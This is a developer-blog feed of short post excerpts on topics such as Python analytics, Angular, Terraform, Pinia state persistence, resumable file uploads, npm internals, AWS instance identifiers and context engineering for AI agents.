    🚀 Getting Started with Data Analytics Using Python: A Beginner’s Guide
    👋 Introduction Data is everywhere—shaping how businesses grow, how products are built, and how decisions are made. But how do we extract value from it? That’s where data analytics comes in. As someone who's recently stepped into the world of data, I’ve learned that Python is one of the most powerful and beginner-friendly tools for data analysis. In this post, I’ll walk you through what you need to get started, the core libraries you'll use, and even a small example script to try out on your own. Python is the go-to language for data analytics because: It has simple, readable syntax (great for beginners) A large community and ecosystem of tools Plenty of libraries specifically built for data tasks It's widely used in the industry Whether you're analyzing survey results, building dashboards…  ( 4 min )
    Slowly Changing Dimensions: Strategies for Maintaining History and Integrity in Analytical Systems
    In analytical systems, dimensional data rarely remains static. Customer profiles, product attributes, account statuses—they all evolve. Without proper handling, these changes can corrupt the historical integrity of reports and models. Slowly Changing Dimensions (SCD) are engineering strategies for managing these changes. While fact tables capture discrete events like transactions or clicks, dimension tables provide the descriptive context: who, what, where, and when. If these contexts are overwritten, past facts lose their original meaning. SCD techniques define how to handle such changes: overwrite, preserve history, or track specific values. The chosen approach impacts storage, query complexity, and trust in analytical outcomes. Accurate handling of dimensional changes is critical in do…  ( 9 min )
    I Tested 25+ (Free & Paid) Web Scraping Tools - These 8 Are the Absolute Best
    You know, as a web developer, I've been using a bunch of Python packages to scrape website data for years. And now, thanks to the insane development in AI, there is a sudden rise in the need to access real-time data and build AI models or different businesses out of it. You may have heard that: Google is paying $60 million per year to get real-time access to Reddit's data DeepSeek team is stealing OpenAI data for training their own AI model And more Well, there are multiple news stories like this, and we can say that every big company is in the process of accessing tons of real-time, filtered data. But most of us can't spend millions to gain real-time data, and we are not programmers, so we can't use Python packages, and more. That's where you can use a number of web scraping tools that us…  ( 8 min )
    Create a GOOD game as a beginner
    This guide is tailored towards Unity 3D but you can use them for other engines as they are pretty much general. Creating a good game as a beginner using Unity is less about ambition and more about clarity, scope, and structured execution. Unity is a robust and versatile engine that, when used methodically, allows even novice developers to build high-quality games. This guide breaks down the essential components of making a good game as a beginner, avoiding generic advice and focusing strictly on Unity-specific, actionable steps. 1. Start with a Focused Game Concept A 2D top-down shooter with one enemy type and one weapon. A single-level puzzle platformer with a jump and switch mechanic. A basic clicker game that increments score and introduces timing. Why this matters in Unity: Unity proje…  ( 5 min )
    Build a WhatsApp Chatbot with OpenAI, Twilio and Airtable
    Looking to automate customer conversations on WhatsApp using OpenAI? Want to log every message in Airtable and trigger workflows based on what users say? In this post, I’ll walk you through how to build a WhatsApp chatbot powered by GPT complete with real-time replies, data storage in Airtable, and an option to embed it into your website for instant interaction. You don't need a giant team or deep backend skills. Just the right stack and this roadmap. This bot is built with a clear goal: fast response, smart answers, and full data visibility. It’s ideal for: AI-powered lead qualification Automated onboarding 24/7 customer support Internal service desk routing Product tours via chat Here’s the architecture: WhatsApp via Twilio or 360dialog Webhook (Node.js) that handles messages …  ( 6 min )
    Angular 20.1.0 – What’s new? Binary Assignment Operators with Angular v20.1.0
    Learn Angular Binary Assignment Operators Visually +=, *=, ||=, or ??= in JavaScript or Angular? This interactive Angular demo makes it easy: ✅ Hands-On Learning – See how operators work in real-time, not just in theory. This app visually demonstrates key JavaScript/Angular binary assignment operators through real-time interaction. 🔹 Mathematical Operations =) Square a number (*=) 🔹 Logical Operations 🔹 Nullish Coalescing (??=) Behavior The UI is clean and split into three sections: - Count Operations Count: {{ count }} Increment (+1) Decrement (-1) Multiply Square - Message Controls Message: {{ message }} Set Message if Empty Clear Message if Exists - Boolean Logic Condition: {{ condition }} Set if Undefined / Null Reset if True - Step 1: Clone the Repo https://github.com/iamvibhakar/angular_20_example.git cd angular_20_example - Step 2: Install Dependencies npm install - Step 3: Run the Development Server ng serve Visit http://localhost:4200 in your browser to see it live. ✨ Master Angular Fundamentals Component architecture & template rendering Event binding & reactive UI updates Modern Angular 20 project structure ✨ JavaScript Operators in Action Logical assignments (||=, &&=) Nullish coalescing (??=) Mathematical operations (+=, **=, more) ✨ Production-Ready Practices Clean, modular code structure Best practices for maintainable Angular apps Interactive learning through real-time examples 🚀 Simple Yet Powerful Learning 💡 Two Skills at Once Because the best way to learn is by doing—start experimenting now! 🔗 Check out the code here: GitHub Repo  ( 4 min )
    MySQL Can Handle Most Things — Do You Really Need PostgreSQL or Oracle? 🤔💾
    You’re not running Google. So why are you trying to use a database built for high concurrency, financial-grade risk control, and distributed transactions? You have: 3 tables 2 pages A boss who wants it live in 2 weeks And somehow you spun up: PostgreSQL + pgBouncer + Patroni for HA Kafka for messaging Flink for stream processing ClickHouse for analytics Bro, are you building a bullet train or flipping pancakes? Let’s be real. Oracle, MSSQL, and other commercial databases cost 3–4x more than MySQL for a reason. Oracle RAC’s high availability? Rock solid. Millisecond failover, detailed diagnostic reports, and on-site engineers who’ll camp at your office for a month if needed. I once had an Oracle support team of 4 people come on-site to debug my system — they told me what configs were wrong…  ( 5 min )
    🧠 Brain-Computer Interface (BCI): How It Works, Where It's Going, and Why It Matters
    image credit - FreePixel Imagine controlling a computer just by thinking. No keyboard, no mouse—just your brainwaves and a device that listens. That’s not sci-fi anymore. It’s the world of Brain-Computer Interfaces (BCIs), and it’s moving fast. A Brain-Computer Interface (also called a Brain-Machine Interface) is a system that lets your brain talk directly to a device—skipping over muscles, speech, and gestures. It picks up electrical activity from the brain, decodes it using smart algorithms, and turns it into actions. Whether it’s helping someone move a prosthetic limb or letting a gamer play with just their thoughts, the core idea is the same: bridging the gap between neurons and machines. 1920s: Hans Berger records the first human brainwaves using EEG. Groundbreaking stuff. 1970s: Dr. …  ( 4 min )
    Manage Databases 🛢️ with Terraform
    This tutorial is part of the Bytebase Terraform Provider series: Part 1: Manage Environments with Terraform - Set up environments with policies Part 2: Manage Databases with Terraform 👈 Part 3: Manage Projects with Terraform - Organize databases into projects Part 4: Manage Bytebase Settings with Terraform - Configure workspace profile and approval policies Part 5: Manage SQL Review Rules with Terraform - Define SQL review policies Part 6: Manage Users and Groups with Terraform - Configure users and groups Part 7: Manage Database Access Control with Terraform - Grant database permissions Part 8: Manage Data Masking with Terraform - Protect sensitive data This tutorial series uses separate Terraform files for better organization. Files are numbered bytutorial part and sub-step (e.g., 1-1-e…  ( 4 min )
    🛠️ How AI Virtual clothing changer Tools Are Transforming Fashion E-Commerce: 6 Tools for Developers to Watch in 2024
    The fashion e-commerce industry is facing a classic problem: high return rates, size mismatch, and poor visualization of products online. Modern AI solutions are stepping in, offering API-based systems and machine learning models that enable retailers to create dynamic, realistic try-on experiences for their users. In this article, we explore 6 leading AI Virtual Try-On tools, breaking down their core technologies, API integration possibilities, and unique value propositions for developers building the next generation of fashion platforms. ⚙️ Why Developers Should Care About Virtual Try-On? Real-Time Rendering Engines: From GANs to NeRF-based systems. API Accessibility: RESTful APIs for rapid integration. Cross-Platform Scalability: Deployable across Shopify, WooCommerce, or custom stacks.…  ( 4 min )
    gRPC vs. REST for Microservices
    gRPC vs. REST for Microservices Introduction: Choosing the right inter-service communication protocol is crucial for microservices architecture. gRPC and REST are popular contenders, each with its strengths and weaknesses. This article compares the two, focusing on their suitability for microservices. Prerequisites: Both gRPC and REST require a basic understanding of networking and API design. gRPC necessitates familiarity with Protocol Buffers (protobuf), a language-neutral interface definition language. REST leverages standard HTTP methods (GET, POST, PUT, DELETE) and formats like JSON. Features: gRPC: Uses Protocol Buffers for defining service contracts and data structures. It's built on HTTP/2, offering features like multiplexing and bidirectional streaming. It's typically more e…  ( 3 min )
    Why You (Still) Need an Effortless JPG Converter in 2025: Streamline Your Image Workflow
    In today’s world, dealing with images—whether for personal projects, blogs, digital portfolios, or business documents—often means converting between file formats. JPG (or JPEG) remains one of the most ubiquitous image formats for web, email, and social sharing due to its balance of quality and small file size. But have you ever been stuck with a PNG, BMP, TIFF, or even a giant RAW file and needed a JPG, fast? Let’s explore why converting to JPG is essential, the hurdles users typically face, and how a robust, easy-to-use JPG conversion tool can save you time and frustration. Why Convert Images to JPG? Compatibility: JPGs are supported by almost every device, operating system, and platform. Storage efficiency: JPG compresses file size significantly without much visual loss, making it ideal …  ( 4 min )
    Solid list!
    13 Unmissable Software Development Tools for 2025 (Tested and Recommended)🚀 Fallon Jimmy ・ Jul 22 #webdev #programming #beginners #development  ( 2 min )
    I want to disable one field and enable another when selecting an option from the select. How can I do that with jQuery?
    A post by João Manuel Macondo  ( 3 min )
    Day-62 Java BankAccount Program
    In todays class we done a simple Java program that models a basic bank account. Using object-oriented programming (OOP) concepts, this program allows us to create bank accounts, deposit money, withdraw money, and display the account details. public class BankAccount{ int accountNumber; String holderName; int balance; public BankAccount(int accountNumber,String holderName, int balance) { this.accountNumber = accountNumber; //Instance variables: accountNumber, holderName, balance this.holderName = holderName; //Constructor to initialize account this.balance = balance; } public static void main(String[] args) { BankAccount a1 = new BankAccount(12345,"Tamil",200); //obj1 a1.deposit(300); …  ( 4 min )
    Understanding SSL Certificates and Domain Expiry
    TL;DR: SSL certificates secure your website’s connection, but managing them can be tricky. Domains also have expiry dates that require attention. This post breaks down key concepts around SSL and domain expiry, common pitfalls, and best practices to keep your web services secure and accessible. SSL (Secure Sockets Layer) certificates encrypt data exchanged between browsers and servers, preventing eavesdropping and tampering. Without a valid SSL certificate, browsers will warn users that your site is insecure. Key point: Certificates have a validity period (often 90 days for Let’s Encrypt, or 1 year+ for paid certs), and must be renewed before expiry to avoid downtime. Your domain name (for instance: mydomain.dk) registration also has an expiry date, independent from SSL certificates. If th…  ( 4 min )
    Verified Mark Certificate Guide
    Getting a Verified Mark Certificate (VMC) is essential if you want your brand’s logo to appear next to authenticated emails. This enhances trust and combats phishing. Here’s a simplified overview of the process in six key steps: 1. Become DMARC Compliant Before applying for a VMC, your domain must have DMARC set up. DMARC (Domain-based Message Authentication, Reporting & Conformance) helps stop email spoofing. You must first: Set up SPF (Sender Policy Framework) by listing all IPs allowed to send emails from your domain. Configure DKIM (DomainKeys Identified Mail) to ensure email integrity using cryptographic signatures. Add a DMARC TXT record in your DNS with a policy like p=quarantine or p=reject and monitor reports to fine-tune your email authentication. 2. Trademark Your Logo To be eli…  ( 4 min )
    13 Unmissable Software Development Tools for 2025 (Tested and Recommended)🚀
    The deadline looms just 48 hours away. Your team has been working tirelessly for months, and finally, the client demo went flawlessly. As you lean back in your chair, a rare sense of accomplishment washes over you... But let's be honest—how often does development actually go this smoothly? The reality of software development is far messier. For every success story, there are countless tales of missed deadlines, communication breakdowns, version control nightmares, and security vulnerabilities that keep developers up at night. I've spent years in the trenches, watching promising projects derail due to inadequate tooling. That's why I've meticulously tested dozens of development tools to identify which ones actually deliver on their promises. In this deep dive, I'll reveal the 13 exceptional…  ( 16 min )
    Digital Detective: How Image Optimization Became My Forensic Superpower
    The day I discovered that JPEG compression artifacts could solve a million-dollar fraud case It was 2:34 AM when the Slack message arrived: "Emergency. Suspected fraud. Need your image expertise ASAP." What started as a routine request to optimize some product photos for an e-commerce client turned into a digital forensics investigation that would save the company $1.2 million and land me in a courtroom as an expert witness. The smoking gun? A tiny inconsistency in JPEG compression artifacts that revealed the supposedly "original" product photos had been heavily manipulated. That night, I learned that image optimization isn't just about performance—it's about truth, evidence, and the digital breadcrumbs that compression algorithms leave behind. // How image optimization creates forensic ev…  ( 10 min )
    Persisting Pinia State
    How to Persist Pinia State Ibrahim ・ Jul 22 #vue #frontend #javascript #web  ( 2 min )
    How to Persist Pinia State
    Sometimes, we want to persist the Pinia state so that when the page is closed, the state still exists when the page is restored. This can be useful for states like authentication tokens, shopping carts, and more. This can be implemented using a plugin called Pinia Plugin Persistedstate. This plugin persists Pinia store state using localStorage or other storage options. To get started, install the plugin first: npm install pinia-plugin-persistedstate Next, import the plugin and use it with the Pinia instance: import { createPinia } from 'pinia' import piniaPluginPersistedstate from 'pinia-plugin-persistedstate' const pinia = createPinia() pinia.use(piniaPluginPersistedstate) Next, add the { persist: true } option to the store that should be persisted: import { ref } from "vue"; import { defineStore } from "pinia"; export const useStore = defineStore( "auth", () => { const loggedIn = ref(false); const accessToken = ref(null); return { loggedIn, accessToken }; }, { persist: true } ); In the example above, the auth store's state will be automatically saved to localStorage. For advanced usage, such as customizing the storage, read the full documentation at https://prazdevs.github.io/pinia-plugin-persistedstate.  ( 3 min )
    Automatic PR creation on GitHub for database schema change
    Learn how to update database schemas using prompts with GitHub Copilot and create GitHub pull requests with matching Python model classes. Updating a database schema as part of your development process often feels more complicated than it should be. If you’ve ever worked with tools like SQLAlchemy, Alembic, or EF Core, you probably know the drill: you first update your model classes in code, then generate a migration file, and finally apply those changes to your database. It's not a terrible process—but it's slow, easy to mess up with the correct migration order, and repetitive. You constantly have to switch contexts: from writing model code, to terminal commands, to reviewing raw SQL. Wouldn’t it be easier if you could just describe what you want in English and let your tools handle the r…  ( 6 min )
    Var vs Dynamic vs Object in c#
    In C#, var is statically typed and determined at compile-time, ensuring type safety. dynamic allows runtime flexibility but lacks compile-time checks, increasing risk. object is the base type for all data, requiring casting. Choose based on whether you need type inference, flexibility, or general-purpose storage with conversions. Here's a clear and concise explanation of var, object, and dynamic in C#, with individual content for each: Var Type is inferred at compile-time based on the assigned value. Still strongly typed; can't change type after initialization. Improves readability when the type is obvious or long. Dynamic Type is resolved at runtime, no IntelliSense or compile-time checks. Can change types and properties freely. Ideal for working with COM, JSON, reflection, etc. Object Can store any data type (value or reference). Requires explicit casting when retrieving the original type. Useful for general-purpose storage. Conclusion Choosing between var, object, and dynamic depends on your coding needs. Use var for concise, type-safe code; object for storing any type with casting; and dynamic for flexible, runtime-bound operations. Understanding their differences helps you write more maintainable, efficient, and error-free C# applications.  ( 3 min )
    How to Build a Resumable File Uploader in React with Node.js and resumable.js
    📦 Why Resumable Uploads? ⚙️ Project Setup 🔹 Backend: Express + Multer Let's create a simple Express server to handle chunk uploads. mkdir resumable-uploader-backend cd resumable-uploader-backend npm init -y npm install express multer cors Create server.js with // ✅ server.js const express = require("express"); const cors = require("cors"); const fs = require("fs"); const path = require("path"); const multer = require("multer"); const app = express(); app.use(cors()); app.use(express.json()); app.use(express.urlencoded({ extended: true })); const UPLOAD_DIR = path.join(__dirname, "uploads"); if (!fs.existsSync(UPLOAD_DIR)) fs.mkdirSync(UPLOAD_DIR); 🧩 Handling Chunk Uploads and Merge // Check if chunk exists (resumable.js uses this to skip duplicates) app.get("/uploa…  ( 5 min )
    Grub in ubuntu
    1. GRUB ka full form kya hai? GRUB = Grand Unified Bootloader Grand: Matlab bada/important Unified: Sab kuch ek saath (combine karke) Bootloader: Wo program jo computer on hote hi sabse pehle chalti hai aur decide karti hai kaunsa operating system load hoga (jaise Windows, Ubuntu, etc). 2. GRUB ka kaam kya hai? Jab aap computer on karte ho, to sabse pehle GRUB aata hai. Agar aapke computer mein ek se jyada Operating System hain (Windows + Linux), to GRUB aapko poochta hai: "Kaunsa OS chalana hai?" Wo ek menu jaisa dikhata hai, jisme aap select kar sakte ho. Jaise ghar ka gatekeeper decide karta hai kaun andar aayega, waise hi GRUB decide karta hai kaunsa system start hoga. 3. Naam GRUB hi kyon rakha? Bootloader word pehle se industry mein use ho raha tha — iska kaam hai “boot” yani start karna. Developers ne socha ek aisa bootloader banaye jo sab OS (Linux, Windows, etc) ko ek hi menu mein dikha sake — isliye "Unified" word use kiya. Thoda mazak-mazaak mein "Grand" laga diya, ki bhai, ye to sab bootloaders ka baap hai. Isliye Grand Unified Bootloader, jiska short form bana GRUB. Mazedar Tarike se: GRUB ek waiter ki tarah hai, jo poochta hai — "Aapko kaunsa khana (OS) chahiye?" Aap order do, wo serve kar dega! Summary Table: Naam Full Form Kaam Nomenclature Reason GRUB Grand Unified Bootloader OS select aur boot karna Sab OS ko ek jagah, Grand matlab best!  ( 3 min )
    The Last Developer Standing: Image Optimization in the Post-Apocalyptic Internet
    How to preserve human visual memory when the infrastructure fails and bandwidth becomes more precious than water The year is 2029. The Great Network Collapse has reduced global internet bandwidth to 1% of pre-collapse levels. Data centers lie in ruins, submarine cables have been severed, and satellite networks are failing one by one. In remote survivor settlements, a single 56k dial-up connection must serve an entire community of 200 people. I am one of the last optimization specialists, and my job is to preserve human visual history on whatever network fragments remain. This is the story of image optimization in the post-apocalyptic age—when every byte matters not for performance metrics, but for the survival of human memory itself. // The collapse of digital infrastructure const infrastr…  ( 10 min )
    🛠️ After the Hack: What’s Next for Promptle (and Me)
    Hackathons are usually about building fast. But this one? It was about building deep. What started as a quirky “Wordle meets ChatGPT” idea quickly turned into a full-blown creative engine—one that taught me more about prompt design, AI evaluation, and user delight than I ever expected. But most importantly, it reawakened something: A drive to build playful, purposeful tools that help people become more fluent in AI—not as users, but as co-creators. Promptle was meant to be a fun daily game. But designing the AI scoring engine, bonus rounds, hint feedback, and streak logic taught me how powerful a well-structured creative loop could be. I learned how to write meta-prompts that score other prompts I designed prompt evaluation rubrics GPT could follow consistently I experimented with prompt…  ( 4 min )
    Instance Instance ID VS Instance ARN
    बहुत अच्छा सवाल है! Instance ID और Instance ARN—एक ही चीज़ हैं, क्योंकि दोनों ही आपकी EC2 मशीन का “यूनिक नाम” जैसे दिखते हैं। लेकिन दोनों में फर्क है। चलिए, आसान भाषा में समझते हैं: Instance ID क्या है? यह सिर्फ़ एक शॉर्ट यूनिक कोड है, जैसे i-0d79fe9169fb369f9 केवल EC2 instance के लिए (मतलब: सिर्फ़ EC2 instance को uniquely पहचानने के लिए) Instance ARN क्या है? ARN का फुल फॉर्म: Amazon Resource Name यह AWS में किसी भी resource (जैसे EC2, S3, IAM, etc.) का ग्लोबली यूनिक और फुल एड्रेस है। इसमें बहुत सारा एक्स्ट्रा इंफो होता है: AWS सर्विस का नाम (ec2) रीजन (ap-south-1) AWS अकाउंट ID (225681119357) रिसोर्स टाइप और उसका ID (instance/i-0d79fe9169fb369f9) हर resource का ARN फॉर्मेट फिक्स्ड होता है Example: arn:aws:ec2:ap-south-1:225681119357:instance/i-0d79fe9169fb369f9 फर्क समझें: Feature Instance ID Instance ARN क्या है EC2 का शॉर्ट यूनिक कोड पूरी दुनिया में यूनिक फुल एड्रेस (with region, account, type) Format i-xxxxxxxxxxxxxxxxx arn:aws:ec2:::instance/ Scope सिर्फ़ EC2 के अंदर यूनिक AWS की सारी सर्विसेज़ में यूनिक कहाँ ज़रूरत CLI, basic EC2 operations IAM policies, cross-account permissions, automation, scripting Simple Analogy (बहुत आसान): Instance ID: Instance ARN: TL;DR Instance ID: EC2 instance के लिए यूनिक छोटा नाम Instance ARN: AWS का “पूरा पता” (address) — cross-service/cross-account कामों में ज़रूरी अगर आप IAM पॉलिसी या AWS ऑटोमेशन कर रहे हैं, वहाँ ARN यूज होता है। EC2 कंसोल/CLI में ऑपरेट करने के लिए Instance ID काफी है।  ( 3 min )
    Day 42: When Medical Appointments Meet Coding Deadlines
    Another day in the life of trying to be a functional human while pursuing tech dreams. Spent the day ping-ponging between spiritual and scientific healing approaches. Parents insisted on the temple visit (can't argue with parental wisdom), followed by yet another doctor consultation. The dreaded "O-word" came up again - operation. At this point, I'm collecting medical opinions like Pokemon cards. Evening brought an MRI appointment with a different doctor because apparently, we're doing a full medical tour now. Here's something weird - couldn't skip my workout despite the wrist situation. There's this mental clarity that comes from physical exertion that I just can't replicate any other way. Maybe it's the endorphins, maybe it's the discipline, but my brain literally refuses to function properly without it. Studied some data structures and solved one leetcode problem (easy level, don't get excited). But - I'm totally procrastinating on starting my machine learning house prediction project. Classic developer move: doing "preparation work" to avoid the actual work. Trying to manage networking, startup ideas, ML learning, DSA practice, and basic human maintenance feels impossible some days. College starts tomorrow, which adds another layer to this chaos. Setting a hard deadline for myself - the house prediction project starts tomorrow, no matter what. No more "I'll do some more leetcode first" or "let me review the theory one more time." What's your go-to procrastination method when facing a big project? Drop your thoughts below.  ( 4 min )
    How npm install Works? What Really Happens When You Hit Enter
    You've just cloned a new repository. The first command you run, almost by muscle memory, is npm install. But have you ever paused to wonder why a fresh npm install sometimes takes 30 seconds, and other times 3 minutes? What hidden mechanisms kick in? What separates a smooth install from one that spews errors about peer dependencies or breaks your build? npm install isn't a simple download command; it's a complex, multi-stage process. In this deep dive, we'll dissect it piece by piece, equipping you with the under the hood intelligence to debug issues, optimize your workflows, and understand the trade offs of the entire Node.js ecosystem. Before we follow the trail, let's meet the key players. package.json: Your project's manifest. It’s the shopping list that names your direct dependencies …  ( 6 min )
    Understanding AWS instance summary
    Instance ID क्या है: यह आपकी AWS मशीन का एक अनोखा नाम (ID) है, जैसे बच्चों के स्कूल रोल नंबर। क्यों: इससे AWS को पता चलता है कि किस मशीन की बात हो रही है। Instance State क्या है: यह बताता है कि आपकी मशीन चल रही है (Running) या बंद (Stopped) है। क्यों: जैसे कंप्यूटर ऑन/ऑफ होता है, वैसे ही। Public IPv4 Address क्या है: आपकी मशीन का इंटरनेट वाला पता — जिससे आप बाहर (अपने लैपटॉप/नेटवर्क) से इसे ढूंढ सकते हो। क्यों: जैसे घर का पता जिससे आपके दोस्त आपके घर आ सकते हैं। Private IPv4 Address क्या है: यह आपकी मशीन का घर के अंदर का पता है (private network), जैसे आपके रूम नंबर। क्यों: इससे घर के अंदर की मशीनें एक-दूसरे को ढूंढ सकती हैं, बाहर वाले नहीं। Public DNS क्या है: आपकी मशीन का इंटरनेट पर नाम (अल्फाबेट वाला पता) जैसे — ec2-65-1-147-32.ap-south-1.compute.amazonaws.com क्यों: …  ( 4 min )
    To be or not to be a dev
    But I suspect for them, React was the most similar in terms of syntax with their backend languages, especially by the fact that React was the only one among Angular, Vue, Mithrill, Aurelia, Meteor which used classes, heavily. Classes in js are a bad idea, you should know this already. And now, the game is kind of over, and the trial period has ended. Unfortunately, many developers knew just the lyrics, and we have that say: "you may know the lyrics, but you don't know the music." It's time to start again from scratch for most of the devs, to switch again. Some will be able to flip, some not, and we also have a bunch of new young devs which are joininig the big dance. Goood luck to everyone, cause we need it!  ( 3 min )
    Promptle – The Daily AI Prompt Challenge
    👩🏽‍💻 Built by: Nithya Subramaniam 🔗 Deployed App: https://promptle.quest/ 📹 Video: https://www.youtube.com/watch?v=UdPRvc4KxsM Ever feel like writing the perfect prompt is harder than getting the perfect AI response? That’s where Promptle was born—from a blend of Wordle-style daily play and the growing need to become fluent in prompting as a language. I’m a daily Wordle player and a daily prompt experimenter, and I saw a fun opportunity to merge constraint-based creativity with skill building. So I asked: What if we turned prompt engineering into a game? What if we made the act of prompting—normally an invisible interface—into the core interaction itself? Promptle is the result: a daily game where your creativity is the key, and AI is your coach and your judge. ✍️ Daily Creative…  ( 4 min )
    Europe's AI Revolution Ignites! 76 Mega-Projects, 3M GPUs, and a Race for Tech Supremacy!
    Europe's AI ambitions are heating up! The European Commission is seeing a flood of interest in their AI Gigafactories initiative with 76 expressions of interest covering 60 potential sites across 16 EU countries. These aren't small players either - major European data center operators, telecom giants, power companies, and global tech firms are all vying to be part of Europe's AI renaissance. Collectively, they're planning to acquire at least three million GPUs to build computing muscle that could rival anything currently available. The AI Gigafactories will be more than just computing centers - they're designed to be complete ecosystems where hardware, software, data, and talent converge to develop sovereign AI capabilities for Europe rather than relying on American or Chinese technology. Of course, energy consumption remains a major challenge, but several proposals reportedly include innovative cooling solutions and partnerships with renewable energy providers. While the formal call for establishing these Gigafactories isn't expected until late 2025, the race is on. In AI, being second or third to market isn't just about pride—it could mean permanently relying on foreign technology rather than developing sovereign capabilities. What do you think about Europe's AI strategy? Is this the right approach to compete globally? Share your thoughts! ArtificialIntelligence #EuropeanTech #AIGigafactories #TechInnovation #DigitalSovereignty  ( 3 min )
    Nkw
    USER360_CHART_CONFIGS = { "user_unoptimized_query": [ # Bar chart: Top inefficient users by weighted score { "chart_type": "bar", "x_axis": "USER_NAME", "y_axis": "WEIGHTED_SCORE", "title": "Top 20 Inefficient Users by Weighted Score", "color_field": "COST_STATUS", "colors": { "High Cost": "rgba(255, 99, 132, 0.6)", "Normal": "rgba(54, 162, 235, 0.6)" }, "tooltip_fields": [ "TOTAL_QUERIES", "TOTAL_CREDITS", "FAILURE_CANCELLATION_RATE_PCT", "RECOMMENDATIONS" ], # Insight: Identifies the top 20 users causing inefficiencies, with cost status highlighting high-c…  ( 6 min )
    Make a medical chatbot using GraphRAG with SurrealDB + LangChain
    Using LangChain This post is a follow-up to this one from two weeks ago which detailed how to make a medical chatbot using SurrealDB and LangChain using Python. Rust developers have an option to do the same too, thanks to a crate called langchain_rust which as of last year includes support for SurrealDB as a vector store. This implementation doesn't (yet!) include graph queries, but we can still use classic vector search to find recommendations for treatment for a patient. To start off, use a command like cargo new medical_bot to create a new Cargo project, go into the project directory and add the following under [dependencies]. anyhow = "1.0.98" langchain-rust = { version = "4.6.0", features = ["surrealdb", "mistralai"] } serde = "1.0.219" serde_json = "1.0.140" serde_yaml = "0.9.34" s…  ( 9 min )
    What started as a wild idea in a hackathon has now become my mission. 🚫 Say goodbye to luxury fakes. 🔍 Say hello to GetFake.ai built with GPT-4 Vision to see beyond the human eye. Let’s build tools that actually protect people. #devchallenge #wlhc
    GetFake.ai - Now It’s Not Just a Project - It’s a Path Angel ・ Jul 5 #devchallenge #wlhchallenge #career #entrepreneurship  ( 3 min )
    Quick Tip: How I Compare Dates Properly in React (JavaScript Date Gotcha)
    So I am building a todo app(very common, I know), and in that, there must be a feature for due dates. Due dates are a must, in the sense that they provide a deadline for when the task must be completed. I implemented a color based system to differentiate whether a task is currently active (due date is in future): denoted by green color, same day (due date is the same as creation): denoted by orange, overdue (due date is over): denoted by red and an overdue indicator I implemented it and it worked alright but I saw that the task created today also had an overdue indicator. I thought, what's happening here, and then I realized the time factor is involved in the comparison, if you compare two date objects there always be time involved and it will not be desired in every case (like my case) const compareDate = (date) => { const current = new Date() const due = new Date(date) if(current === due) return 'orange' if(current > due) return 'red' //here basically return 'green' } But if you use .toDateString() to compare only date will be compared and time factor is eliminated: const compareDate = (date) => { const current = new Date() const due = new Date(date) if(current.toDateString() === due.toDateString()) return 'orange' if(current > due) return 'red' return 'green' } This fixed the problem for me, so if you're facing the same problem and this helps, you can follow for more dev tips just like this!  ( 3 min )
    Environment Variables: A Guide to Configuration Management
    What Are Environment Variables? Environment variables are key-value pairs injected at runtime to configure how applications behave without altering source code. They empower configuration flexibility across local development, CI/CD pipelines, containers, and cloud deployments. Purpose Description 🔐 Security Secrets (e.g. API keys, DB creds) stay out of source code. 🧱 Separation of concerns Decouple config from application logic. 🌀 Environment switching Seamlessly change configs between dev, staging, production. 🛠 Dynamic behaviour Enable feature toggles, flags, and runtime settings. Role Usage Example Developers Local setup via .env DevOps Engineers Inject env vars in containers, CI/CD workflows Sysadmins Set OS-level vars or orchestrate secrets Secu…  ( 5 min )
    The most powerful LLMs are only as reliable as the documentation that shapes them.
    We often discuss model size, data volume, and compute when fine-tuning large language models (LLMs) such as GPT-4, Claude, or LLaMA. But there’s one ingredient nearly every successful AI application has: exceptional documentation. When done right, documentation isn’t just support material; it’s the backbone of trustworthy, high-performing AI systems. Clear, comprehensive documentation provides the domain context that AI models need to reason accurately. It helps define ground truth for annotations, improves consistency during fine-tuning, and guides ethical usage. From API references to onboarding guides, documentation becomes a source of structured knowledge that LLMs can ingest and learn from. So why is documentation a game-changer for fine-tuning LLMs? ✅ Grounded Knowledge ✅ Annotation Clarity ✅ Audibility & Trust 📊 Real-world impact: 🧬 In healthcare, LLMs grounded in clinical documentation reduced diagnostic errors by up to 30%. 💻 Training on well-documented open-source repos outperformed under-documented ones on code generation benchmarks. ⚠️ Poor or outdated docs = hallucinations, bias, and compliance gaps. 🛠️ Best practices for AI/ML teams: Treat documentation like code: version it, review it regularly, and update it frequently. Don’t forget to document: data sources, licenses, prompts, limitations, and annotation guides. As AI becomes embedded in every industry, documentation is no longer a nice-to-have; it’s a strategic advantage. How are you integrating documentation into your AI workflows? Any lessons, wins, or hard-learned mistakes to share? Let’s spark a conversation 👇  ( 4 min )
    Day 1: Why Freelancing in Web Development Is a Superpower in 2025 (With Real Numbers)
    Welcome to Day 1! If you’re considering freelancing as a web developer in 2025, you're stepping into one of the hottest markets around—right when demand is skyrocketing. There are ~1.56 billion freelancers worldwide, making up roughly 47% of the global workforce ([Reddit][1], [Blogging Wizard][2]). In the U.S., 28% of skilled knowledge workers are freelancing as of April 2025, up from past years ([Upwork][3]). Freelancers generated over \$1.5 trillion in earnings in 2024 globally, and \$1.3 trillion in the U.S. alone ([Upwork][3]). This is not just a side hustle trend—it’s a workforce transformation. Web development is among the most in-demand freelance skills, making up ≈21% of freelance IT roles globally ([Keevee][4], [Reddit][5]). Average hourly rates for freelance web dev work are betw…  ( 4 min )
    Context Engineering for AI Agents: Key Lessons from Manus
    Context engineering is quickly emerging as one of the most critical disciplines in AI development, yet it remains a field still in its experimental phase. Best practices are not yet codified, so a transparent look into a production system is invaluable. Stable Prefixes: Even a single token difference can invalidate the entire cache downstream. Avoid dynamic elements like timestamps in system prompts. The "Tool Explosion" Problem Further Reading: Original Manus blog post with detailed technical implementation The field is young, the challenges are real, and the opportunities are enormous. The question isn't whether context engineering will become critical—it's whether you'll learn these lessons through experimentation or through others' experience.  ( 6 min )
    Two Approaches to Context Engineering: Manus vs. Context Space
    Context engineering is quickly becoming a cornerstone of modern AI development, driving new approaches across the industry. Recently, the team at Manus AI shared their hard-earned lessons from building production-grade AI agents, offering valuable insights into the practical challenges of context management. Reading their post felt like looking in a mirror, and yet seeing a completely different reflection. Both Manus and Context Space are deeply invested in solving the context engineering puzzle, but we're approaching it from fundamentally different angles. This presents a fascinating case study in how the same core problem can spawn complementary solutions. Manus: Runtime Optimization Masters Manus has taken a performance-first approach to context engineering, focusing on how to make the …  ( 6 min )
    Goodbye Postman collections, hello Markdown specs
